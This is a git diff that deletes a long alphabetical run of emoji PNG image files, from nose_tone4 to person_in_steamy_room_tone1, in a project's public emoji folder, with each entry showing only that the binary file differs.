diff --git a/public/-/emojis/2/nose_tone4.png b/public/-/emojis/2/nose_tone4.png
deleted file mode 100644
index 4486c6af79a..00000000000
--- a/public/-/emojis/2/nose_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/nose_tone5.png b/public/-/emojis/2/nose_tone5.png
deleted file mode 100644
index 44e90094af7..00000000000
--- a/public/-/emojis/2/nose_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/notebook.png b/public/-/emojis/2/notebook.png
deleted file mode 100644
index d5b120b7bfd..00000000000
--- a/public/-/emojis/2/notebook.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/notebook_with_decorative_cover.png b/public/-/emojis/2/notebook_with_decorative_cover.png
deleted file mode 100644
index 660cd397cab..00000000000
--- a/public/-/emojis/2/notebook_with_decorative_cover.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/notepad_spiral.png b/public/-/emojis/2/notepad_spiral.png
deleted file mode 100644
index 99c953e2ef4..00000000000
--- a/public/-/emojis/2/notepad_spiral.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/notes.png b/public/-/emojis/2/notes.png
deleted file mode 100644
index 62bda5a971b..00000000000
--- a/public/-/emojis/2/notes.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/nut_and_bolt.png b/public/-/emojis/2/nut_and_bolt.png
deleted file mode 100644
index eed31d06b99..00000000000
--- a/public/-/emojis/2/nut_and_bolt.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/o.png b/public/-/emojis/2/o.png
deleted file mode 100644
index 1bef67f3085..00000000000
--- a/public/-/emojis/2/o.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/o2.png b/public/-/emojis/2/o2.png
deleted file mode 100644
index 147a7781ebb..00000000000
--- a/public/-/emojis/2/o2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/ocean.png b/public/-/emojis/2/ocean.png
deleted file mode 100644
index f3ca7d89e1b..00000000000
--- a/public/-/emojis/2/ocean.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/octagonal_sign.png b/public/-/emojis/2/octagonal_sign.png
deleted file mode 100644
index e7f97222c49..00000000000
--- a/public/-/emojis/2/octagonal_sign.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/octopus.png b/public/-/emojis/2/octopus.png
deleted file mode 100644
index b0bd5413495..00000000000
--- a/public/-/emojis/2/octopus.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/oden.png b/public/-/emojis/2/oden.png
deleted file mode 100644
index b21ef3f1638..00000000000
--- a/public/-/emojis/2/oden.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/office.png b/public/-/emojis/2/office.png
deleted file mode 100644
index 2a31eaab05f..00000000000
--- a/public/-/emojis/2/office.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/oil.png b/public/-/emojis/2/oil.png
deleted file mode 100644
index d7b11000b11..00000000000
--- a/public/-/emojis/2/oil.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/ok.png b/public/-/emojis/2/ok.png
deleted file mode 100644
index f764e57b738..00000000000
--- a/public/-/emojis/2/ok.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/ok_hand.png b/public/-/emojis/2/ok_hand.png
deleted file mode 100644
index f5edff0a990..00000000000
--- a/public/-/emojis/2/ok_hand.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/ok_hand_tone1.png b/public/-/emojis/2/ok_hand_tone1.png
deleted file mode 100644
index f71c42b028e..00000000000
--- a/public/-/emojis/2/ok_hand_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/ok_hand_tone2.png b/public/-/emojis/2/ok_hand_tone2.png
deleted file mode 100644
index b8f4c97edce..00000000000
--- a/public/-/emojis/2/ok_hand_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/ok_hand_tone3.png b/public/-/emojis/2/ok_hand_tone3.png
deleted file mode 100644
index e2d2d58de6d..00000000000
--- a/public/-/emojis/2/ok_hand_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/ok_hand_tone4.png b/public/-/emojis/2/ok_hand_tone4.png
deleted file mode 100644
index 94edbfe08d6..00000000000
--- a/public/-/emojis/2/ok_hand_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/ok_hand_tone5.png b/public/-/emojis/2/ok_hand_tone5.png
deleted file mode 100644
index cb9e2965929..00000000000
--- a/public/-/emojis/2/ok_hand_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/ok_woman.png b/public/-/emojis/2/ok_woman.png
deleted file mode 100644
index 25a8c54555f..00000000000
--- a/public/-/emojis/2/ok_woman.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/ok_woman_tone1.png b/public/-/emojis/2/ok_woman_tone1.png
deleted file mode 100644
index cfc5e80a6f4..00000000000
--- a/public/-/emojis/2/ok_woman_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/ok_woman_tone2.png b/public/-/emojis/2/ok_woman_tone2.png
deleted file mode 100644
index d33ee62d42a..00000000000
--- a/public/-/emojis/2/ok_woman_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/ok_woman_tone3.png b/public/-/emojis/2/ok_woman_tone3.png
deleted file mode 100644
index 2c4d7209517..00000000000
--- a/public/-/emojis/2/ok_woman_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/ok_woman_tone4.png b/public/-/emojis/2/ok_woman_tone4.png
deleted file mode 100644
index 4e5514c582f..00000000000
--- a/public/-/emojis/2/ok_woman_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/ok_woman_tone5.png b/public/-/emojis/2/ok_woman_tone5.png
deleted file mode 100644
index 43dc7d67cbc..00000000000
--- a/public/-/emojis/2/ok_woman_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/older_adult.png b/public/-/emojis/2/older_adult.png
deleted file mode 100644
index 82ec9fc2554..00000000000
--- a/public/-/emojis/2/older_adult.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/older_adult_tone1.png b/public/-/emojis/2/older_adult_tone1.png
deleted file mode 100644
index 8733152efd5..00000000000
--- a/public/-/emojis/2/older_adult_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/older_adult_tone2.png b/public/-/emojis/2/older_adult_tone2.png
deleted file mode 100644
index 2447c25fc19..00000000000
--- a/public/-/emojis/2/older_adult_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/older_adult_tone3.png b/public/-/emojis/2/older_adult_tone3.png
deleted file mode 100644
index 29e7db3f978..00000000000
--- a/public/-/emojis/2/older_adult_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/older_adult_tone4.png b/public/-/emojis/2/older_adult_tone4.png
deleted file mode 100644
index f40308663bc..00000000000
--- a/public/-/emojis/2/older_adult_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/older_adult_tone5.png b/public/-/emojis/2/older_adult_tone5.png
deleted file mode 100644
index 01e58a6567d..00000000000
--- a/public/-/emojis/2/older_adult_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/older_man.png b/public/-/emojis/2/older_man.png
deleted file mode 100644
index 3f14f060bd9..00000000000
--- a/public/-/emojis/2/older_man.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/older_man_tone1.png b/public/-/emojis/2/older_man_tone1.png
deleted file mode 100644
index 43d542163ac..00000000000
--- a/public/-/emojis/2/older_man_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/older_man_tone2.png b/public/-/emojis/2/older_man_tone2.png
deleted file mode 100644
index 7ac1c70a77a..00000000000
--- a/public/-/emojis/2/older_man_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/older_man_tone3.png b/public/-/emojis/2/older_man_tone3.png
deleted file mode 100644
index 393c8cab6c5..00000000000
--- a/public/-/emojis/2/older_man_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/older_man_tone4.png b/public/-/emojis/2/older_man_tone4.png
deleted file mode 100644
index c24be1bec36..00000000000
--- a/public/-/emojis/2/older_man_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/older_man_tone5.png b/public/-/emojis/2/older_man_tone5.png
deleted file mode 100644
index 5cf1f5a9984..00000000000
--- a/public/-/emojis/2/older_man_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/older_woman.png b/public/-/emojis/2/older_woman.png
deleted file mode 100644
index 059e5357d5b..00000000000
--- a/public/-/emojis/2/older_woman.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/older_woman_tone1.png b/public/-/emojis/2/older_woman_tone1.png
deleted file mode 100644
index ab1cf71d308..00000000000
--- a/public/-/emojis/2/older_woman_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/older_woman_tone2.png b/public/-/emojis/2/older_woman_tone2.png
deleted file mode 100644
index 77a6572d393..00000000000
--- a/public/-/emojis/2/older_woman_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/older_woman_tone3.png b/public/-/emojis/2/older_woman_tone3.png
deleted file mode 100644
index f72fa9c1093..00000000000
--- a/public/-/emojis/2/older_woman_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/older_woman_tone4.png b/public/-/emojis/2/older_woman_tone4.png
deleted file mode 100644
index dee94b07b62..00000000000
--- a/public/-/emojis/2/older_woman_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/older_woman_tone5.png b/public/-/emojis/2/older_woman_tone5.png
deleted file mode 100644
index 228dd52ede2..00000000000
--- a/public/-/emojis/2/older_woman_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/om_symbol.png b/public/-/emojis/2/om_symbol.png
deleted file mode 100644
index 5d5577a8eb9..00000000000
--- a/public/-/emojis/2/om_symbol.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/on.png b/public/-/emojis/2/on.png
deleted file mode 100644
index 0ed7699404a..00000000000
--- a/public/-/emojis/2/on.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/oncoming_automobile.png b/public/-/emojis/2/oncoming_automobile.png
deleted file mode 100644
index 04253bf4b54..00000000000
--- a/public/-/emojis/2/oncoming_automobile.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/oncoming_bus.png b/public/-/emojis/2/oncoming_bus.png
deleted file mode 100644
index 0beb49759b5..00000000000
--- a/public/-/emojis/2/oncoming_bus.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/oncoming_police_car.png b/public/-/emojis/2/oncoming_police_car.png
deleted file mode 100644
index d87012db3c7..00000000000
--- a/public/-/emojis/2/oncoming_police_car.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/oncoming_taxi.png b/public/-/emojis/2/oncoming_taxi.png
deleted file mode 100644
index 99860eda075..00000000000
--- a/public/-/emojis/2/oncoming_taxi.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/one.png b/public/-/emojis/2/one.png
deleted file mode 100644
index 45c050d1be8..00000000000
--- a/public/-/emojis/2/one.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/open_file_folder.png b/public/-/emojis/2/open_file_folder.png
deleted file mode 100644
index ea9e26195c4..00000000000
--- a/public/-/emojis/2/open_file_folder.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/open_hands.png b/public/-/emojis/2/open_hands.png
deleted file mode 100644
index 27a4d82c188..00000000000
--- a/public/-/emojis/2/open_hands.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/open_hands_tone1.png b/public/-/emojis/2/open_hands_tone1.png
deleted file mode 100644
index 77515656ddb..00000000000
--- a/public/-/emojis/2/open_hands_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/open_hands_tone2.png b/public/-/emojis/2/open_hands_tone2.png
deleted file mode 100644
index df9f79fdfb2..00000000000
--- a/public/-/emojis/2/open_hands_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/open_hands_tone3.png b/public/-/emojis/2/open_hands_tone3.png
deleted file mode 100644
index 6e39b6a41b9..00000000000
--- a/public/-/emojis/2/open_hands_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/open_hands_tone4.png b/public/-/emojis/2/open_hands_tone4.png
deleted file mode 100644
index c24106475d3..00000000000
--- a/public/-/emojis/2/open_hands_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/open_hands_tone5.png b/public/-/emojis/2/open_hands_tone5.png
deleted file mode 100644
index 53858b2606e..00000000000
--- a/public/-/emojis/2/open_hands_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/open_mouth.png b/public/-/emojis/2/open_mouth.png
deleted file mode 100644
index 67aa8c4a473..00000000000
--- a/public/-/emojis/2/open_mouth.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/open_umbrella.png b/public/-/emojis/2/open_umbrella.png
deleted file mode 100644
index d71b12d56e7..00000000000
--- a/public/-/emojis/2/open_umbrella.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/ophiuchus.png b/public/-/emojis/2/ophiuchus.png
deleted file mode 100644
index d376d08afb7..00000000000
--- a/public/-/emojis/2/ophiuchus.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/orange_book.png b/public/-/emojis/2/orange_book.png
deleted file mode 100644
index 41d9049afb3..00000000000
--- a/public/-/emojis/2/orange_book.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/orange_heart.png b/public/-/emojis/2/orange_heart.png
deleted file mode 100644
index 3fc096fec6d..00000000000
--- a/public/-/emojis/2/orange_heart.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/orthodox_cross.png b/public/-/emojis/2/orthodox_cross.png
deleted file mode 100644
index a9669b26fc3..00000000000
--- a/public/-/emojis/2/orthodox_cross.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/outbox_tray.png b/public/-/emojis/2/outbox_tray.png
deleted file mode 100644
index a643719f69a..00000000000
--- a/public/-/emojis/2/outbox_tray.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/owl.png b/public/-/emojis/2/owl.png
deleted file mode 100644
index f440a2471dc..00000000000
--- a/public/-/emojis/2/owl.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/ox.png b/public/-/emojis/2/ox.png
deleted file mode 100644
index ac7fde12004..00000000000
--- a/public/-/emojis/2/ox.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/package.png b/public/-/emojis/2/package.png
deleted file mode 100644
index 0d0965e85b3..00000000000
--- a/public/-/emojis/2/package.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/page_facing_up.png b/public/-/emojis/2/page_facing_up.png
deleted file mode 100644
index 46ce1363475..00000000000
--- a/public/-/emojis/2/page_facing_up.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/page_with_curl.png b/public/-/emojis/2/page_with_curl.png
deleted file mode 100644
index a53e8a6e680..00000000000
--- a/public/-/emojis/2/page_with_curl.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/pager.png b/public/-/emojis/2/pager.png
deleted file mode 100644
index da112611439..00000000000
--- a/public/-/emojis/2/pager.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/paintbrush.png b/public/-/emojis/2/paintbrush.png
deleted file mode 100644
index 43f2173ae0a..00000000000
--- a/public/-/emojis/2/paintbrush.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/palm_tree.png b/public/-/emojis/2/palm_tree.png
deleted file mode 100644
index b32911cd964..00000000000
--- a/public/-/emojis/2/palm_tree.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/palms_up_together.png b/public/-/emojis/2/palms_up_together.png
deleted file mode 100644
index 6ff0fc9bd69..00000000000
--- a/public/-/emojis/2/palms_up_together.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/palms_up_together_tone1.png b/public/-/emojis/2/palms_up_together_tone1.png
deleted file mode 100644
index 24ddddb283b..00000000000
--- a/public/-/emojis/2/palms_up_together_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/palms_up_together_tone2.png b/public/-/emojis/2/palms_up_together_tone2.png
deleted file mode 100644
index 402efa8e098..00000000000
--- a/public/-/emojis/2/palms_up_together_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/palms_up_together_tone3.png b/public/-/emojis/2/palms_up_together_tone3.png
deleted file mode 100644
index 55957b8340c..00000000000
--- a/public/-/emojis/2/palms_up_together_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/palms_up_together_tone4.png b/public/-/emojis/2/palms_up_together_tone4.png
deleted file mode 100644
index 69de329e822..00000000000
--- a/public/-/emojis/2/palms_up_together_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/palms_up_together_tone5.png b/public/-/emojis/2/palms_up_together_tone5.png
deleted file mode 100644
index 966c1b87edd..00000000000
--- a/public/-/emojis/2/palms_up_together_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/pancakes.png b/public/-/emojis/2/pancakes.png
deleted file mode 100644
index 9489438401b..00000000000
--- a/public/-/emojis/2/pancakes.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/panda_face.png b/public/-/emojis/2/panda_face.png
deleted file mode 100644
index a50f5d418eb..00000000000
--- a/public/-/emojis/2/panda_face.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/paperclip.png b/public/-/emojis/2/paperclip.png
deleted file mode 100644
index ee17d357799..00000000000
--- a/public/-/emojis/2/paperclip.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/paperclips.png b/public/-/emojis/2/paperclips.png
deleted file mode 100644
index 0ebf0153122..00000000000
--- a/public/-/emojis/2/paperclips.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/park.png b/public/-/emojis/2/park.png
deleted file mode 100644
index 65ced0d3bcf..00000000000
--- a/public/-/emojis/2/park.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/parking.png b/public/-/emojis/2/parking.png
deleted file mode 100644
index f190df54722..00000000000
--- a/public/-/emojis/2/parking.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/parrot.png b/public/-/emojis/2/parrot.png
deleted file mode 100644
index 28d2515aeda..00000000000
--- a/public/-/emojis/2/parrot.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/part_alternation_mark.png b/public/-/emojis/2/part_alternation_mark.png
deleted file mode 100644
index 5e7e3d5c9d1..00000000000
--- a/public/-/emojis/2/part_alternation_mark.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/partly_sunny.png b/public/-/emojis/2/partly_sunny.png
deleted file mode 100644
index ae8ea8ca5ec..00000000000
--- a/public/-/emojis/2/partly_sunny.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/partying_face.png b/public/-/emojis/2/partying_face.png
deleted file mode 100644
index 327f2a00069..00000000000
--- a/public/-/emojis/2/partying_face.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/passport_control.png b/public/-/emojis/2/passport_control.png
deleted file mode 100644
index 768c88bebc4..00000000000
--- a/public/-/emojis/2/passport_control.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/pause_button.png b/public/-/emojis/2/pause_button.png
deleted file mode 100644
index b9bfc217f8b..00000000000
--- a/public/-/emojis/2/pause_button.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/peace.png b/public/-/emojis/2/peace.png
deleted file mode 100644
index 2068b916f42..00000000000
--- a/public/-/emojis/2/peace.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/peach.png b/public/-/emojis/2/peach.png
deleted file mode 100644
index aad9c854cd6..00000000000
--- a/public/-/emojis/2/peach.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/peacock.png b/public/-/emojis/2/peacock.png
deleted file mode 100644
index 332d6336508..00000000000
--- a/public/-/emojis/2/peacock.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/peanuts.png b/public/-/emojis/2/peanuts.png
deleted file mode 100644
index 6676a092ab6..00000000000
--- a/public/-/emojis/2/peanuts.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/pear.png b/public/-/emojis/2/pear.png
deleted file mode 100644
index 14748847c20..00000000000
--- a/public/-/emojis/2/pear.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/pen_ballpoint.png b/public/-/emojis/2/pen_ballpoint.png
deleted file mode 100644
index cb0da033a74..00000000000
--- a/public/-/emojis/2/pen_ballpoint.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/pen_fountain.png b/public/-/emojis/2/pen_fountain.png
deleted file mode 100644
index cbb72b25073..00000000000
--- a/public/-/emojis/2/pen_fountain.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/pencil.png b/public/-/emojis/2/pencil.png
deleted file mode 100644
index 7c63a4acd50..00000000000
--- a/public/-/emojis/2/pencil.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/pencil2.png b/public/-/emojis/2/pencil2.png
deleted file mode 100644
index 8dcf77064db..00000000000
--- a/public/-/emojis/2/pencil2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/penguin.png b/public/-/emojis/2/penguin.png
deleted file mode 100644
index 066b44d7999..00000000000
--- a/public/-/emojis/2/penguin.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/pensive.png b/public/-/emojis/2/pensive.png
deleted file mode 100644
index a39a4663e32..00000000000
--- a/public/-/emojis/2/pensive.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/performing_arts.png b/public/-/emojis/2/performing_arts.png
deleted file mode 100644
index 494860f2776..00000000000
--- a/public/-/emojis/2/performing_arts.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/persevere.png b/public/-/emojis/2/persevere.png
deleted file mode 100644
index acd70b133e3..00000000000
--- a/public/-/emojis/2/persevere.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/person_climbing.png b/public/-/emojis/2/person_climbing.png
deleted file mode 100644
index 1e124224cab..00000000000
--- a/public/-/emojis/2/person_climbing.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/person_climbing_tone1.png b/public/-/emojis/2/person_climbing_tone1.png
deleted file mode 100644
index c94ef344a56..00000000000
--- a/public/-/emojis/2/person_climbing_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/person_climbing_tone2.png b/public/-/emojis/2/person_climbing_tone2.png
deleted file mode 100644
index bca9ef8a592..00000000000
--- a/public/-/emojis/2/person_climbing_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/person_climbing_tone3.png b/public/-/emojis/2/person_climbing_tone3.png
deleted file mode 100644
index 14313988daa..00000000000
--- a/public/-/emojis/2/person_climbing_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/person_climbing_tone4.png b/public/-/emojis/2/person_climbing_tone4.png
deleted file mode 100644
index 6c3b746eccf..00000000000
--- a/public/-/emojis/2/person_climbing_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/person_climbing_tone5.png b/public/-/emojis/2/person_climbing_tone5.png
deleted file mode 100644
index a4b944c9706..00000000000
--- a/public/-/emojis/2/person_climbing_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/person_frowning.png b/public/-/emojis/2/person_frowning.png
deleted file mode 100644
index ee090ea16fc..00000000000
--- a/public/-/emojis/2/person_frowning.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/person_frowning_tone1.png b/public/-/emojis/2/person_frowning_tone1.png
deleted file mode 100644
index 69061522095..00000000000
--- a/public/-/emojis/2/person_frowning_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/person_frowning_tone2.png b/public/-/emojis/2/person_frowning_tone2.png
deleted file mode 100644
index b616e36e2ed..00000000000
--- a/public/-/emojis/2/person_frowning_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/person_frowning_tone3.png b/public/-/emojis/2/person_frowning_tone3.png
deleted file mode 100644
index 4b02ab41eac..00000000000
--- a/public/-/emojis/2/person_frowning_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/person_frowning_tone4.png b/public/-/emojis/2/person_frowning_tone4.png
deleted file mode 100644
index fbb7cd2aec3..00000000000
--- a/public/-/emojis/2/person_frowning_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/person_frowning_tone5.png b/public/-/emojis/2/person_frowning_tone5.png
deleted file mode 100644
index e90b0598f33..00000000000
--- a/public/-/emojis/2/person_frowning_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/person_golfing_tone1.png b/public/-/emojis/2/person_golfing_tone1.png
deleted file mode 100644
index c445fd1ff56..00000000000
--- a/public/-/emojis/2/person_golfing_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/person_golfing_tone2.png b/public/-/emojis/2/person_golfing_tone2.png
deleted file mode 100644
index af6630ed5ca..00000000000
--- a/public/-/emojis/2/person_golfing_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/person_golfing_tone3.png b/public/-/emojis/2/person_golfing_tone3.png
deleted file mode 100644
index 83a59b38fe2..00000000000
--- a/public/-/emojis/2/person_golfing_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/person_golfing_tone4.png b/public/-/emojis/2/person_golfing_tone4.png
deleted file mode 100644
index 8421b692ef3..00000000000
--- a/public/-/emojis/2/person_golfing_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/person_golfing_tone5.png b/public/-/emojis/2/person_golfing_tone5.png
deleted file mode 100644
index 4879e4b00d0..00000000000
--- a/public/-/emojis/2/person_golfing_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/person_in_bed_tone1.png b/public/-/emojis/2/person_in_bed_tone1.png
deleted file mode 100644
index 3fcb8666833..00000000000
--- a/public/-/emojis/2/person_in_bed_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/person_in_bed_tone2.png b/public/-/emojis/2/person_in_bed_tone2.png
deleted file mode 100644
index 35ec264e8dd..00000000000
--- a/public/-/emojis/2/person_in_bed_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/person_in_bed_tone3.png b/public/-/emojis/2/person_in_bed_tone3.png
deleted file mode 100644
index 0dc26f7771a..00000000000
--- a/public/-/emojis/2/person_in_bed_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/person_in_bed_tone4.png b/public/-/emojis/2/person_in_bed_tone4.png
deleted file mode 100644
index 0d542e50023..00000000000
--- a/public/-/emojis/2/person_in_bed_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/person_in_bed_tone5.png b/public/-/emojis/2/person_in_bed_tone5.png
deleted file mode 100644
index 0a20c18de9c..00000000000
--- a/public/-/emojis/2/person_in_bed_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/person_in_lotus_position.png b/public/-/emojis/2/person_in_lotus_position.png
deleted file mode 100644
index 9926baa1324..00000000000
--- a/public/-/emojis/2/person_in_lotus_position.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/person_in_lotus_position_tone1.png b/public/-/emojis/2/person_in_lotus_position_tone1.png
deleted file mode 100644
index a58486d19a3..00000000000
--- a/public/-/emojis/2/person_in_lotus_position_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/person_in_lotus_position_tone2.png b/public/-/emojis/2/person_in_lotus_position_tone2.png
deleted file mode 100644
index 2ab8734ade9..00000000000
--- a/public/-/emojis/2/person_in_lotus_position_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/person_in_lotus_position_tone3.png b/public/-/emojis/2/person_in_lotus_position_tone3.png
deleted file mode 100644
index dc6cce342e1..00000000000
--- a/public/-/emojis/2/person_in_lotus_position_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/person_in_lotus_position_tone4.png b/public/-/emojis/2/person_in_lotus_position_tone4.png
deleted file mode 100644
index 14888acdae0..00000000000
--- a/public/-/emojis/2/person_in_lotus_position_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/person_in_lotus_position_tone5.png b/public/-/emojis/2/person_in_lotus_position_tone5.png
deleted file mode 100644
index d44a1f69867..00000000000
--- a/public/-/emojis/2/person_in_lotus_position_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/person_in_steamy_room.png b/public/-/emojis/2/person_in_steamy_room.png
deleted file mode 100644
index b0ffe0dce62..00000000000
--- a/public/-/emojis/2/person_in_steamy_room.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/person_in_steamy_room_tone1.png b/public/-/emojis/2/person_in_steamy_room_tone1.png
deleted file mode 100644
index a0159a7924b..00000000000
